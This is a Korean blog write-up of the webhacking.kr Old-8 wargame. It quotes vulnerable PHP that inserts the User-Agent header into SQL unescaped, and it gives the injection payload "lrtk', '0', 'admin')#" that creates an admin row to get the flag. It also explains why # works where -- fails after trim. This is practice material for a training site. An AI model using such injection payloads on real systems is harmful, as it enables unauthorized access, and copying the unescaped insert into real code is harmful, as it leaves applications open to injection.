특별한 반응이 없어서 코드를 확인하였다.

 

$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
  echo("<br>Access Denied!<br><br>");
  echo(htmlspecialchars($agent));
  exit();
}

접속한 브라우저와 공인 ip를 각각 agent, ip 변수에 넣어줬다.

Agent 변수는 preg_match 함수로, from문자열이 있는지 검사하였다.

만약 있다면, Access Denied! 문구와 agent에 있는 특수문자가 HTML 엔티티로 변환된 문자열을 페이지에 출력하고, 종료한다.

$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }

Chall8 테이블에 ID 컬럼의 총 갯수를 count_ck 변수에 넣어줬다.

만약 count_ck 변수의 값이 70개 이상이라면, chall8 테이블은 삭제된다.

$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);

if($ck){
  echo "hi <b>".htmlentities($ck[0])."</b><p>";
  if($ck[0]=="admin"){
    mysqli_query($db,"delete from chall8");
    solve(8);
  }
}

if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
}

select id from chall8 where agent=접속한 브라우저로 나온 결과가 없다면, 테이블에 agent, ip 변수를 삽입한다.

만약 결과가 있고, 그 결과가 admin이면 Flag를 획득할 수 있다.

 

나는 프록시를 이용하여 agent 정보를 수정하여 SQLi를 진행할 것이다.
일단 첫번째 목표를 insert 쿼리에 SQLi를 삽입하여 admin을 생성하여, 요청할 것이다.

User-Agent: lrtk', '0', 'admin')#

위와 같은 SQLi를 삽입하였다.

삽입을 한 쿼리를 보면, insert into chall8(agent,ip,id) values('lrtk, '0', 'admin')#','{$ip}','guest')으로 된다.

-- 대신 #를 사용한 이유는 trim(getenv("HTTP_USER_AGENT")) 때문이다.

--를 사용하여, 뒤의 쿼리가 주석처리가 되기 위해선 --뒤에 공백이 존재해야 한다. 하지만 trim 함수로 공백이 삭제가 되기 때문에 --은 주석처리가 되지 않는다.

#의 경우, 뒤에 공백이 없어도 주석처리가 되기 때문에 #를 이용하여 주석처리를 한 것이다.

테이블에 데이터를 삽입하고, 다시 Agent를 lrtk로 수정하여 보내면, Flag를 획득할 수 있다.

'워게임 > webhacking.kr' 카테고리의 다른 글

[Webhakcing.kr] Old - 48 Write Up  (0) 2021.05.29
[Webhacking.kr] Old - 35 Write Up  (0) 2021.05.29
[Webhacking.kr] Old - 3 Write Up  (0) 2021.05.28
[Webhacking.kr] Old - 60 Write Up  (0) 2021.05.27
[Webhacking.kr] Old - 49 Write Up  (0) 2021.05.27
복사했습니다!